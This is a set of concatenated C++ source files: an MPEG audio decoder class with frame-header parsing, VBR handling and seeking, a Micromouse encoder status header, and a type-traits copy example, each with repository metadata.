& 255; pcm += 32; } } } void CDecompressMpeg::sbt8_mono_L3(float* sample, void* in_pcm, int ch) { int i; short* pcm = (short*) in_pcm; ch = 0; for (i = 0; i < 18; i++) { fdct8(sample, vbuf + vb_ptr); window8(vbuf, vb_ptr, pcm); sample += 32; vb_ptr = (vb_ptr - 8) & 127; pcm += 8; } } void CDecompressMpeg::sbt8_dual_L3(float* sample, void* in_pcm, int ch) { int i; short* pcm = (short*) in_pcm; if (ch == 0) { for (i = 0; i < 18; i++) { fdct8(sample, vbuf + vb_ptr); window8_dual(vbuf, vb_ptr, pcm); sample += 32; vb_ptr = (vb_ptr - 8) & 127; pcm += 16; } } else { for (i = 0; i < 18; i++) { fdct8(sample, vbuf2 + vb2_ptr); window8_dual(vbuf2, vb2_ptr, pcm + 1); sample += 32; vb2_ptr = (vb2_ptr - 8) & 127; pcm += 16; } } } int CDecompressMpeg::br_tbl[3][3][16] = { {// MPEG-1 // Layer1 { 0, 32, 64, 96, 128, 160, 192, 224, 256, 288, 320, 352, 384, 416, 448, 0 }, // Layer2 { 0, 32, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, 384, 0 }, // Layer3 { 0, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, 0 }, }, {// MPEG-2 // Layer1 { 0, 32, 48, 56, 64, 80, 96, 112, 128, 144, 160, 176, 192, 224, 256, 0 }, // Layer2 { 0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, 0 }, // Layer3 { 0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, 0 }, }, {// MPEG-2.5 // Layer1 (not available) { 0, 32, 48, 56, 64, 80, 96, 112, 128, 144, 160, 176, 192, 224, 256, 0 }, // Layer2 (not available) { 0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, 0 }, // Layer3 { 0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, 0 }, }, }; int CDecompressMpeg::fr_tbl[3][4] = { { 44100, 48000, 32000, 0 }, // MPEG-1 { 22050, 24000, 16000, 0 }, // MPEG-2 { 11025, 12000, 8000, 0 }, // MPEG-2.5 }; void CDecompressMpeg::mp3DecodeInit() { m_option.reduction = 0; m_option.convert = 0; m_option.freqLimit = 24000; L1table_init(); L2table_init(); L3table_init(); } int CDecompressMpeg::mp3GetHeader(BYTE* buf, MPEG_HEADER* h) { h->version = (buf[1] & 0x08) >> 3; h->layer = (buf[1] & 0x06) >> 1; h->error_prot = (buf[1] & 0x01); h->br_index = (buf[2] & 0xf0) >> 4; h->fr_index = (buf[2] & 0x0c) >> 2; h->padding = (buf[2] & 0x02) >> 1; h->extension = (buf[2] & 0x01); h->mode = (buf[3] & 0xc0) >> 6; h->mode_ext = (buf[3] & 0x30) >> 4; h->copyright = (buf[3] & 0x08) >> 3; h->original = (buf[3] & 0x04) >> 2; h->emphasis = (buf[3] & 0x03); if (buf[0] != 0xFF) { //sync error m_last_error = MP3_ERROR_INVALID_SYNC; return 0; } if ((buf[1] & 0xF0) == 0xF0) //MPEG-1, MPEG-2 h->version = (h->version) ? 1 : 2; else if ((buf[1] & 0xF0) == 0xE0) //MPEG-2.5 h->version = 3; else { m_last_error = MP3_ERROR_INVALID_SYNC; return 0; } if (h->fr_index >= 3 || h->br_index == 0 || h->br_index >= 15 || h->layer == 0 || h->layer >= 4) { m_last_error = MP3_ERROR_INVALID_HEADER; return 0; } h->layer = 4 - h->layer; h->error_prot = (h->error_prot) ? 0 : 1; return 1; } bool CDecompressMpeg::mp3GetHeaderInfo(BYTE* buffer, MPEG_HEADER_INFO* info) { int ch, ver; MPEG_HEADER* h =& info->header; // получим информацию из заголовка if (!mp3GetHeader(buffer, h)) return false; // расчет нужных данных info->curBitRate = br_tbl[h->version - 1][h->layer - 1][h->br_index] * 1000; switch (h->layer) { case 1: //layer1 info->curFrameSize = (12 * info->curBitRate / m_frequency + h->padding) * 4; break; case 2: //layer2 info->curFrameSize = 144 * info->curBitRate / m_frequency + h->padding; break; case 3: //layer3 if (h->version == 1) info->curFrameSize = 144 * info->curBitRate / m_frequency + h->padding; else info->curFrameSize = (144 * info->curBitRate / m_frequency) / 2 + h->padding; break; } ch = (h->mode == 3) ? 1 : 2; ver = (h->version == 1) ? 1 : 2; info->samplesInFrame = (1152 >> m_option.reduction) / ver; info->outputSize = info->samplesInFrame * 2 * ch; return true; } int CDecompressMpeg::mp3GetLastError() { return m_last_error; } int CDecompressMpeg::mp3FindSync(BYTE* buf, int size, int* sync) { int i; MPEG_HEADER h; *sync = 0; size -= 3; if (size <= 0) { m_last_error = MP3_ERROR_OUT_OF_BUFFER; return 0; } // поиск данных for (i = 0; i < size; i++) { if (buf[i] == 0xFF) { if (mp3GetHeader(buf + i, & h)) { if ((h.layer == _layer) && (h.version == _version) && (h.br_index == _br_index) && (h.fr_index == _fr_index) && (h.mode == _mode)) break; } } } if (i == size) { m_last_error = MP3_ERROR_OUT_OF_BUFFER; return 0; } *sync = i; return 1; } void CDecompressMpeg::mp3GetDecodeOption(MPEG_DECODE_OPTION* option) { *option = m_option; } int CDecompressMpeg::mp3SetDecodeOption(MPEG_DECODE_OPTION* option) { m_option = *option; return 1; } /* //----------------------------------------------------------------------------- // Установка эквалайзера // value - указатель на параметры эквалайзера //----------------------------------------------------------------------------- int CDecompressMpeg::mp3SetEqualizer(int* value) { int i; if (value == (void*)0) { m_enableEQ = 0; return 1; } m_enableEQ = 1; //60, 170, 310, 600, 1K, 3K for (i = 0; i < 6; i ++) { m_equalizer[i] = (float)pow(10,(double)value[i]/200); } //6K m_equalizer[6] = (float)pow(10,(double)value[6]/200); m_equalizer[7] = m_equalizer[6]; //12K m_equalizer[8] = (float)pow(10,(double)value[7]/200); m_equalizer[9] = m_equalizer[8]; m_equalizer[10] = m_equalizer[8]; m_equalizer[11] = m_equalizer[8]; //14K m_equalizer[12] = (float)pow(10,(double)value[8]/200); m_equalizer[13] = m_equalizer[12]; m_equalizer[14] = m_equalizer[12]; m_equalizer[15] = m_equalizer[12]; m_equalizer[16] = m_equalizer[12]; m_equalizer[17] = m_equalizer[12]; m_equalizer[18] = m_equalizer[12]; m_equalizer[19] = m_equalizer[12]; //16K m_equalizer[20] = (float)pow(10,(double)value[9]/200); m_equalizer[21] = m_equalizer[20]; m_equalizer[22] = m_equalizer[20]; m_equalizer[23] = m_equalizer[20]; m_equalizer[24] = m_equalizer[20]; m_equalizer[25] = m_equalizer[20]; m_equalizer[26] = m_equalizer[20]; m_equalizer[27] = m_equalizer[20]; m_equalizer[28] = m_equalizer[20]; m_equalizer[29] = m_equalizer[20]; m_equalizer[30] = m_equalizer[20]; m_equalizer[31] = m_equalizer[20]; return 1; } */ #define VBR_FRAMES_FLAG 0x0001 #define VBR_BYTES_FLAG 0x0002 #define VBR_TOC_FLAG 0x0004 #define VBR_SCALE_FLAG 0x0008 // big endian extract int CDecompressMpeg::extractInt4(BYTE* buf) { return buf[3] | (buf[2] << 8) | (buf[1] << 16) | (buf[0] << 24); } //----------------------------------------------------------------------------- // извленение заголовка и важных данных // mpeg - указатель на буфер с данными // size - размер буфера с данными // info - указатель на структуру куда поместить расширенные данные // decFlag - ? помоему использовать настройки частоты из файла //----------------------------------------------------------------------------- int CDecompressMpeg::mp3GetDecodeInfo(BYTE* mpeg, int size, MPEG_DECODE_INFO* info, int decFlag) { MPEG_HEADER* h =& info->header; byte* p = mpeg; int vbr; DWORD minBitRate, maxBitRate; DWORD i, j, flags; //int bitRate; //int frame_size; // if (size < 156) {//max vbr header size // m_last_error = MP3_ERROR_OUT_OF_BUFFER; // return 0; // } if (!mp3GetHeader(p, h)) { return 0; } //check VBR Header p += 4;//skip mpeg header if (h->error_prot) p += 2;//skip crc if (h->layer == 3) { //skip side info if (h->version == 1) { //MPEG-1 if (h->mode != 3) p += 32; else p += 17; } else { //MPEG-2, MPEG-2.5 if (h->mode != 3) p += 17; else p += 9; } } info->bitRate = br_tbl[h->version - 1][h->layer - 1][h->br_index] * 1000; info->frequency = fr_tbl[h->version - 1][h->fr_index]; if (memcmp(p, "Xing", 4) == 0) { //VBR p += 4; flags = extractInt4(p); p += 4; if (!(flags & (VBR_FRAMES_FLAG | VBR_BYTES_FLAG))) { m_last_error = MP3_ERROR_INVALID_HEADER; return 0; } info->frames = extractInt4(p); p += 4; info->dataSize = extractInt4(p); p += 4; if (flags & VBR_TOC_FLAG) p += 100; if (flags & VBR_SCALE_FLAG) p += 4; /* //•WЏЂVBR‘О‰ћ if ( p[0] == mpeg[0] && p[1] == mpeg[1] ) { info->skipSize = (int)(p - mpeg); } else { bitRate = br_tbl[h->version-1][h->layer-1][h->br_index] * 1000; switch (h->layer) { case 1://layer1 frame_size = (12 * bitRate / fr_tbl[h->version-1][h->fr_index]) * 4;//one slot is 4 bytes long if (h->padding) frame_size += 4; break; case 2://layer2 frame_size = 144 * bitRate / fr_tbl[h->version-1][h->fr_index]; if (h->padding) frame_size ++; break; case 3://layer3 frame_size = 144 * bitRate / fr_tbl[h->version-1][h->fr_index]; if (h->version != 1) //MPEG-2, MPEG-2.5 frame_size /= 2; if (h->padding) frame_size ++; break; } info->skipSize = (int)(frame_size); } info->bitRate = 0; */ vbr = 1; minBitRate = 0xffffffff; maxBitRate = 0; for (i = 1; i < 15; i ++) { j = br_tbl[h->version - 1][h->layer - 1][i] * 1000; if (j < minBitRate) minBitRate = j; if (j > maxBitRate) maxBitRate = j; } } else if (memcmp(p, "VBRI", 4) == 0) { //VBRI p += 10; info->dataSize = extractInt4(p); p += 4; info->frames = extractInt4(p); p += 4; vbr = 1; minBitRate = 0xffffffff; maxBitRate = 0; for (i = 1; i < 15; i ++) { j = br_tbl[h->version - 1][h->layer - 1][i] * 1000; if (j < minBitRate) minBitRate = j; if (j > maxBitRate) maxBitRate = j; } } else { //not VBR vbr = 0; info->frames = 0; //info->skipSize = 0; info->dataSize = 0; //info->bitRate = br_tbl[h->version-1][h->layer-1][h->br_index] * 1000; } // info->frequency = fr_tbl[h->version-1][h->fr_index]; // info->msPerFrame = ms_p_f_table[h->layer-1][h->fr_index]; // if (h->version == 3) info->msPerFrame *= 2; switch (h->layer) { case 1: //layer1 info->outputSize = 384 >> m_option.reduction; //if (info->bitRate) { if (!vbr) { info->skipSize = 0; info->minInputSize = (12 * info->bitRate / info->frequency) * 4;//one slot is 4 bytes long info->maxInputSize = info->minInputSize + 4; } else { info->skipSize = (12 * info->bitRate / info->frequency + h->padding) * 4; info->minInputSize = (12 * minBitRate / info->frequency) * 4; info->maxInputSize = (12 * maxBitRate / info->frequency) * 4 + 4; } break; case 2: //layer2 info->outputSize = 1152 >> m_option.reduction; //if (info->bitRate) { if (!vbr) { info->skipSize = 0; info->minInputSize = 144 * info->bitRate / info->frequency; info->maxInputSize = info->minInputSize + 1; } else { info->skipSize = 144 * info->bitRate / info->frequency + h->padding; info->minInputSize = 144 * minBitRate / info->frequency; info->maxInputSize = 144 * maxBitRate / info->frequency + 1; } break; case 3: //layer3 i = (h->version == 1) ? 1 : 2; //info->outputSize = 1152 >> m_option.reduction; info->outputSize = (1152 >> m_option.reduction) / i; //if (info->bitRate) { if (!vbr) { info->skipSize = 0; info->minInputSize = 144 * info->bitRate / info->frequency / i; info->maxInputSize = info->minInputSize + 1; } else { info->skipSize = 144 * info->bitRate / info->frequency / i + h->padding; info->minInputSize = 144 * minBitRate / info->frequency / i; info->maxInputSize = 144 * maxBitRate / info->frequency / i + 1; } break; /* if (h->version != 1) { //MPEG-2, MPEG-2.5 info->outputSize /= 2; info->minInputSize /= 2; info->maxInputSize /= 2; } info->maxInputSize ++; break; */ } if ((h->mode == 3) || (m_option.convert & 3)) info->channels = 1; else info->channels = 2; if (m_option.convert & 8) { //not available info->bitsPerSample = 8; info->outputSize *= info->channels; } else { info->bitsPerSample = 16; info->outputSize *= info->channels * 2; } if (decFlag == 1) { m_frequency = info->frequency; m_pcm_size = info->outputSize; } info->frequency >>= m_option.reduction; info->HeadBitRate = info->bitRate; if (vbr) info->bitRate = 0; return 1; } // начало декодирования int CDecompressMpeg::mp3DecodeStart(BYTE* mpeg, int size) { MPEG_DECODE_INFO info; MPEG_HEADER* h =& info.header; // распаковка заголовка и предрасчет важных данных if (!mp3GetDecodeInfo(mpeg, size, & info, 1)) return 0; // инициализация sbt_init(); // вызов методов инициализации слоя switch (h->layer) { case 1: L1decode_start(h); break; case 2: L2decode_start(h); break; case 3: L3decode_start(h); break; } return 1; } // декодирование 1 фрейма int CDecompressMpeg::mp3DecodeFrame(MPEG_DECODE_PARAM* param) { MPEG_HEADER* h =& param->header; // проверка размера входных данных if (param->inputSize <= 4) { m_last_error = MP3_ERROR_OUT_OF_BUFFER; return 0; } // прочитаем заголовок if (!mp3GetHeader((unsigned char *) param->inputBuf, h)) { return 0; } // вычисление размера данных в фрейме param->bitRate = br_tbl[h->version - 1][h->layer - 1][h->br_index] * 1000; switch (h->layer) { //layer1 case 1: m_frame_size = (12 * param->bitRate / m_frequency + h->padding) * 4; break; //layer2 case 2: m_frame_size = 144 * param->bitRate / m_frequency + h->padding; break; //layer3 case 3: if (h->version == 1) m_frame_size = 144 * param->bitRate / m_frequency + h->padding; else m_frame_size = (144 * param->bitRate / m_frequency) / 2 + h->padding; break; } // проверка размера входных данных if (param->inputSize < m_frame_size) { m_last_error = MP3_ERROR_OUT_OF_BUFFER; return 0; } // подбор декодера switch (h->layer) { case 1: L1decode_frame(h, (unsigned char *) param->inputBuf, (unsigned char *) param->outputBuf); break; case 2: L2decode_frame(h, (unsigned char *) param->inputBuf, (unsigned char *) param->outputBuf); break; case 3: L3decode_frame(h, (unsigned char *) param->inputBuf, (unsigned char *) param->outputBuf); break; } //!!!todo m_frame_proc(h, (unsigned char*)param->inputBuf, (unsigned char *)param->outputBuf); // скоректируем размеры входного и выходного буфера param->inputSize = m_frame_size; param->outputSize = m_pcm_size; return 1; } void CDecompressMpeg::mp3Reset(void) { sbt_init(); L3decode_reset(); } //----------------------------------------------------------------------------- // Установка новой позиции файла // на входе : pos - новая позиция в файле // на выходе : * //----------------------------------------------------------------------------- int CDecompressMpeg::mp3seek(DWORD frame) { // инициализация переменных DWORD cur = 0; DWORD back = 3; int off = 0; DWORD need_frame_offset = 0; // позиционируемся на данных if (_curFrame != frame) { if (_curFrame != (frame - 1)) { // прочитаем на несколько фреймов назад if (frame > back) frame -= back; else { back = frame; frame = 0; } if (!_vbr) { // приблизительный расчет положения фрейма need_frame_offset = (DWORD) floor(((double) frame * _bitPerFrame) / 8); // поиск начала фрейма while (1) { // установка позиции чтения if (SourceData->seek(need_frame_offset, 0) != need_frame_offset) return 0; // проверка на конец файла if (SourceData->eof()) return 0; // прочитаем данные для поиска начала if (SourceData->peek(_frameBuffer, _minFrameSize) != _minFrameSize) return 0; // поиск начала файла if (!mp3FindSync(_frameBuffer, _minFrameSize, & off)) { need_frame_offset += (_minFrameSize - 3); } else { need_frame_offset += off; break; } }; } else { need_frame_offset = _vbrFrameOffTable[frame]; } if (SourceData->seek(need_frame_offset, 0) != need_frame_offset) return 0; mp3Reset(); // сбросим декодер for (int ch = 0; ch < 2; ch++) { for (int gr = 0; gr < 2; gr++) { for (int sam = 0; sam < 576; sam++) { m_sample[ch][gr][sam].s = 0; m_sample[ch][gr][sam].x = 0; } } } for (cur = 0; cur < back; cur++) { SourceData->peek(_frameBuffer, 4); if (!mp3GetHeaderInfo(_frameBuffer, & _mpegHI)) return 0; _curFrameSize = _mpegHI.curFrameSize; if (SourceData->read(_frameBuffer, _curFrameSize) != _curFrameSize) return 0; _mpegDP.header = _mpegHI.header; _mpegDP.bitRate = _mpegHI.curBitRate; _mpegDP.inputBuf = _frameBuffer; _mpegDP.inputSize = _mpegHI.curFrameSize; _mpegDP.outputBuf = _sampleBuffer; _mpegDP.outputSize = _mpegHI.outputSize; // декодирование одного фрейма if (!mp3DecodeFrame(&_mpegDP)) return 0; } } } return 1; } //----------------------------------------------------------------------------- // Конструктор декодера // на входе : a - указатель на данные файла // на выходе : * //----------------------------------------------------------------------------- CDecompressMpeg::CDecompressMpeg(WAVEFORMATEX* pcm_format, bool& flag, CAbstractSoundFile* a) : CAbstractDecompressor(pcm_format, flag, a) { DWORD cur; DWORD pos; MPEG_HEADER_INFO info; BYTE head[156]; // файл не определен flag = false; // инициализация декодера mp3DecodeInit(); // инициализация данных декодера m_cs_factorL1 = m_cs_factor[0]; // m_enableEQ = 0; memset(&m_side_info, 0, sizeof(SIDE_INFO)); memset(&m_scale_fac, 0, sizeof(SCALE_FACTOR) * 4); memset(&m_cb_info, 0, sizeof(CB_INFO) * 4); memset(&m_nsamp, 0, sizeof(int) * 4); // очистим указатели на буфера _frameBuffer = 0; _vbr = 0; _vbrFrameOffTable = 0; // получение информаци о файле if (SourceData->peek(head, sizeof(head)) != sizeof(head)) return; if (!mp3GetDecodeInfo(head, sizeof(head), & _mpegDI, 1)) return; if (!mp3GetHeaderInfo(head, & _mpegHI)) return; // получим интерисующую нас информацию _channels = _mpegDI.channels; _frequency = _mpegDI.frequency; _bitrate = _mpegDI.HeadBitRate; _vbr = _mpegDI.bitRate ? false : true; _minFrameSize = _mpegDI.minInputSize; _maxFrameSize = _mpegDI.maxInputSize; _samplesInFrame = _mpegHI.samplesInFrame; _curFrameSize = _mpegHI.curFrameSize; _version = _mpegDI.header.version; _layer = _mpegDI.header.layer; _br_index = _mpegDI.header.br_index; _fr_index = _mpegDI.header.fr_index; _mode = _mpegDI.header.mode; _slotSize = (_mpegDI.header.layer == 1) ? 4 : 1; _bitPerFrame = (_mpegDI.header.version == 1) ? (double) (144 * 8 * _bitrate) / (double) _frequency : (double) (144 * 8 * _bitrate) / (double) (_frequency * 2); _frames = _vbr ? _mpegDI.frames : (DWORD) floor(((double) ((SourceData->size + _slotSize) * 8)) / _bitPerFrame); _samplesInFile = _frames * _samplesInFrame; //********************************************************************************* // отладка // заполним таблицу смещений cur = 0; pos = 0; while (!SourceData->eof()) { SourceData->seek(pos, 0); if (SourceData->peek(head, 4) != 4) break; if (!mp3GetHeaderInfo(head, & info)) break; pos += info.curFrameSize; cur++; } SourceData->seek(0, 0); if (cur != _frames) _frames = cur; _vbr = true; //********************************************************************************** // файл с переменным битрейтом ? if (_vbr) { // выделим память под таблицу смещений на фреймы #if AGSS_USE_MALLOC _vbrFrameOffTable = (DWORD *) malloc(_frames * sizeof(DWORD)); #else _vbrFrameOffTable = (DWORD *) GlobalAlloc(GPTR, _frames * sizeof(DWORD)); #endif if (!_vbrFrameOffTable) return; cur = 0; pos = 0; // заполним таблицу смещений while (cur != _frames) { SourceData->seek(pos, 0); SourceData->peek(head, 4); if (!mp3GetHeaderInfo(head, & info)) break; _vbrFrameOffTable[cur] = pos; pos += info.curFrameSize; cur++; } SourceData->seek(0, 0); } // выделим феймовый буфер #if AGSS_USE_MALLOC _frameBuffer = (BYTE *) malloc(_mpegDI.maxInputSize); #else _frameBuffer = (BYTE *) GlobalAlloc(GPTR, _mpegDI.maxInputSize); #endif if (!_frameBuffer) return; // прочитаем один фрейм if (SourceData->read(_frameBuffer, _curFrameSize) != _curFrameSize) { #if AGSS_USE_MALLOC free(_frameBuffer); #else GlobalFree(_frameBuffer); #endif _frameBuffer = 0; return; } // начало декодирования if (!mp3DecodeStart(_frameBuffer, _curFrameSize)) { #if AGSS_USE_MALLOC free(_frameBuffer); #else GlobalFree(_frameBuffer); #endif _frameBuffer = 0; return; } // подготовка к декодированию первого фрейма _mpegDP.header = _mpegDI.header; _mpegDP.bitRate = _mpegDI.bitRate; _mpegDP.inputBuf = _frameBuffer; _mpegDP.inputSize = _curFrameSize; _mpegDP.outputBuf = _sampleBuffer; _mpegDP.outputSize = _mpegDI.outputSize; // декодируем первый фрейм if (!mp3DecodeFrame(&_mpegDP)) { #if AGSS_USE_MALLOC free(_frameBuffer); #else GlobalFree(_frameBuffer); #endif _frameBuffer = 0; return; } // установим дополнительные параметры _curFrame = 0; _curSampleOffset = 0; // преобразуем данные для Direct X (иначе Direct X не сможет создать буфер) pcm_format->wFormatTag = 1; pcm_format->wBitsPerSample = 16; pcm_format->nSamplesPerSec = _frequency; pcm_format->nChannels = _channels; pcm_format->nBlockAlign = (pcm_format->nChannels * pcm_format->wBitsPerSample) >> 3; pcm_format->nAvgBytesPerSec = pcm_format->nBlockAlign * pcm_format->nSamplesPerSec; // файл определен flag = true; } //----------------------------------------------------------------------------- // Деструктор декодера // на входе : * // на выходе : * //----------------------------------------------------------------------------- CDecompressMpeg::~CDecompressMpeg() { if (_vbrFrameOffTable) { #if AGSS_USE_MALLOC free(_vbrFrameOffTable); #else GlobalFree(_vbrFrameOffTable); #endif _vbrFrameOffTable = 0; } if (_frameBuffer) { #if AGSS_USE_MALLOC free(_frameBuffer); #else GlobalFree(_frameBuffer); #endif _frameBuffer = 0; } } //----------------------------------------------------------------------------- // Декомпрессия Mp3 формата в моно данные // на входе : buffer - указатель на буфер // start - смещение в данных звука, в семплах // length - количество семплов для декодирования // на выходе : На сколько байт сдвинулся буфер в который // читали семплы //----------------------------------------------------------------------------- DWORD CDecompressMpeg::GetMonoSamples(void* buffer, DWORD start, DWORD length, bool loop) { DWORD NeedFrame; DWORD NeedOffset; DWORD samples; DWORD i; BYTE head[4]; short* dst = (short*) buffer; // проверка выхода за пределы if (start > _samplesInFile) return 0; // проверка на чтение сверх нормы if ((start + length) > _samplesInFile) length = _samplesInFile - start; // вычислим текущую позицию чтения NeedFrame = start / _samplesInFrame; NeedOffset = start % _samplesInFrame; // позиционируемся на данных if (!mp3seek(NeedFrame)) return 0; DWORD remaining = length; DWORD readsize = 0; bool readframe = false; while (remaining) { if ((_channels == 1) && (NeedOffset == 0) && (remaining > _samplesInFrame)) readframe = true; else readframe = false; if (_curFrame != NeedFrame) { _curFrame = NeedFrame; if (SourceData->peek(&head, 4) != 4) break; if (!mp3GetHeaderInfo(head, & _mpegHI)) return 0; _curFrameSize = _mpegHI.curFrameSize; if (SourceData->read(_frameBuffer, _curFrameSize) != _curFrameSize) return 0; _mpegDP.header = _mpegHI.header; _mpegDP.bitRate = _mpegHI.curBitRate; _mpegDP.inputBuf = _frameBuffer; _mpegDP.inputSize = _mpegHI.curFrameSize; _mpegDP.outputBuf = (readframe) ? dst : _sampleBuffer; _mpegDP.outputSize = _mpegHI.outputSize; // декодирование одного фрейма if (!mp3DecodeFrame(&_mpegDP)) return 0; } samples = _samplesInFrame - NeedOffset; readsize = (remaining > samples) ? samples : remaining; short* src = _sampleBuffer + (NeedOffset* _channels); if (_channels == 1) { if (!readframe) memcpy(dst, src, readsize * 2); dst += readsize; } else { for (i = 0; i < readsize; i++) { int s = ((int) src[0] + (int) src[1]) >> 1; s = (s < -32768) ? -32768 : (s > 32767) ? 32767 : s; *dst++ = (short) s; src += 2; } } NeedOffset = 0; remaining -= readsize; if (remaining) NeedFrame++; } return ((DWORD) dst - (DWORD) buffer); } //----------------------------------------------------------------------------- // Декомпрессия Mp3 формата в стерео данные // на входе : buffer - указатель на буфер // start - смещение в данных звука, в семплах // length - количество семплов для декодирования // на выходе : На сколько байт сдвинулся буфер в который // читали семплы //----------------------------------------------------------------------------- DWORD CDecompressMpeg::GetStereoSamples(void* buffer, DWORD start, DWORD length, bool loop) { DWORD NeedFrame; DWORD NeedOffset; // DWORD NeedFrameOffset; DWORD samples; DWORD i; BYTE head[4]; // int off; short* dst = (short*) buffer; // проверка выхода за пределы if (start > _samplesInFile) return 0; // проверка на чтение сверх нормы if ((start + length) > _samplesInFile) length = _samplesInFile - start; // вычислим текущую позицию чтения NeedFrame = start / _samplesInFrame; NeedOffset = start % _samplesInFrame; // позиционируемся на данных if (!mp3seek(NeedFrame)) return 0; DWORD remaining = length; DWORD readsize = 0; bool readframe = false; while (remaining) { if ((_channels == 2) && (NeedOffset == 0) && (remaining > _samplesInFrame)) readframe = true; else readframe = false; if (_curFrame != NeedFrame) { _curFrame = NeedFrame; SourceData->peek(&head, 4); if (!mp3GetHeaderInfo(head, & _mpegHI)) return 0; _curFrameSize = _mpegHI.curFrameSize; if (SourceData->read(_frameBuffer, _curFrameSize) != _curFrameSize) return 0; _mpegDP.header = _mpegHI.header; _mpegDP.bitRate = _mpegHI.curBitRate; _mpegDP.inputBuf = _frameBuffer; _mpegDP.inputSize = _mpegHI.curFrameSize; _mpegDP.outputBuf = (readframe) ? dst : _sampleBuffer; _mpegDP.outputSize = _mpegHI.outputSize; // декодирование одного фрейма if (!mp3DecodeFrame(&_mpegDP)) return 0; } samples = _samplesInFrame - NeedOffset; readsize = (remaining > samples) ? samples : remaining; short* src = _sampleBuffer + (NeedOffset* _channels); if (_channels == 1) { for (i = 0; i < readsize; i++) { *dst++ = *src; *dst++ = *src; src++; } } else { if (!readframe) memcpy(dst, src, readsize * 4); dst += readsize * 2; } NeedOffset = 0; remaining -= readsize; if (remaining) NeedFrame++; } return ((DWORD) dst - (DWORD) buffer); } //----------------------------------------------------------------------------- // Создание тишины на заданом отрезке буфера моно режим // на входе : buffer - указатель на буфер // length - количество семплов // на выходе : На сколько байт сдвинулся буфер //----------------------------------------------------------------------------- DWORD CDecompressMpeg::GetMonoMute(void* buffer, DWORD length) { length <<= 1; memset(buffer, 0, length); return length; } //----------------------------------------------------------------------------- // Создание тишины на заданом отрезке буфера стерео режим // на входе : buffer - указатель на буфер // length - количество семплов // на выходе : На сколько байт сдвинулся буфер //----------------------------------------------------------------------------- DWORD CDecompressMpeg::GetStereoMute(void* buffer, DWORD length) { length <<= 2; memset(buffer, 0, length); return length; } //----------------------------------------------------------------------------- // Получение количества семплов в файле // на входе : * // на выходе : Количество семплов в файла //----------------------------------------------------------------------------- DWORD CDecompressMpeg::GetSamplesInFile(void) { return _samplesInFile; } //----------------------------------------------------------------------------- // Получение количества байт в треке моно режим // на входе : * // на выходе : Количество баит в треке //----------------------------------------------------------------------------- DWORD CDecompressMpeg::GetRealMonoDataSize(void) { return _samplesInFile * 2; } //----------------------------------------------------------------------------- // Получение количества байт в треке стерео режим // на входе : * // на выходе : Количество баит в треке //----------------------------------------------------------------------------- DWORD CDecompressMpeg::GetRealStereoDataSize(void) { return _samplesInFile * 4; }
fc0bd662d76fd64de590b7ed96973aa2bda1fc5f
02a8054a8573f79c9e3de876dfe45c158ab77ee3
/encoderTest/status.h
0a22066bd16c7e441b08e477e53bda27fe490b8f
[]
no_license
jasonyang-ee/UCSD-Micromouse-2012-Team1
944cbd84902e2ff5014c568a963df9c77f7cbe7f
bf627476e387b3036f8c4a3a3e593d93bb7e65e3
refs/heads/master
2023-01-29T11:57:26.598858
2013-05-12T09:18:45
2013-05-12T09:18:45
null
0
0
null
null
null
null
UTF-8
C++
false
false
274
h
status.h
#ifndef STATUS_H #define STATUS_H #include "global.h" class Status{ public: //encoder status volatile int wheelCountLeft; //set by timmer2 ch1 volatile int wheelCountRight; //set by timmer2 ch1 public: void initialize(); void printAll(); }; #endif
c7eb561c9c8ee536113bbd7f4c32b74782d66ade
901ac5251ab475142725d6dfcb4cf31853541e7e
/C++/judge_copy.cpp
a6c297627d9a3b8e22165f67e20f7ed80d8ab116
[]
no_license
zhitou25/Based-on-learning
9b9e99eeb97c83b1605f802de2e2aaec78b7b733
4c685046491c66bc47ab49c91365afdd74022c3a
refs/heads/master
2020-04-07T15:52:47.866599
2019-03-06T09:58:45
2019-03-06T09:58:45
158,505,075
7
0
null
null
null
null
GB18030
C++
false
false
1,174
cpp
judge_copy.cpp
#include<iostream> #include<string> #pragma warning(disable:4996) using namespace std; struct Match { static bool get() { return true; } }; struct unMatch { static bool get() { return false; } }; template <class T> struct TypeTraits { typedef unMatch type; }; template<> struct TypeTraits<int> { typedef Match type; }; template<> struct TypeTraits<short> { typedef Match type; }; template<> struct TypeTraits<char> { typedef Match type; }; template<> struct TypeTraits<float> { typedef Match type; }; template<> struct TypeTraits<double> { typedef Match type; }; template<class T> void Copy(T* dst, const T* src, size_t size) { //T是否为内置类型通过将模板特化为绝对类型来判断 if (TypeTraits<T>::type::get()) { memcpy(dst, src, sizeof(T)*size); } else { for (size_t i = 0; i < size; i++) { dst[i] = src[i]; } } } int main() { int src[] = { 1,2,3,4,5,6,7,8,9,0 }; int dst[sizeof(src) / sizeof(src[0])]; Copy(dst, src, sizeof(src) / sizeof(src[0])); string str1[] = { "aaa","bbb","ccc","ddd" }; string str2[sizeof(str1) / sizeof(str1[0])]; Copy(str2, str1, sizeof(str1) / sizeof(str1[0])); return 0; }
08108d2ff8c7d413c8714fb0a7f640ad6f62581d
4119b4e3e4e7022646cdd35bce7a168209193ec8
/MP.betaV1.1/Park.ino
05560571f63ab589d5f0ea93eb179c36f743200d
[]
no_license
ManojBR105/RFID-Smart-Parking-System
c8aa94814f21fc9cdf31fa7b2094b2a4cc81c549
f2111606d73f2f98903f1c13826ac99c6bc9f22c
refs/heads/master
2022-12-16T01:40:15.540884
2020-09-20T11:02:55
2020-09-20T11:02:55
297,055,010
0
0
null
null
null
null
UTF-8
C++
false
false
1,646
ino
Park.ino
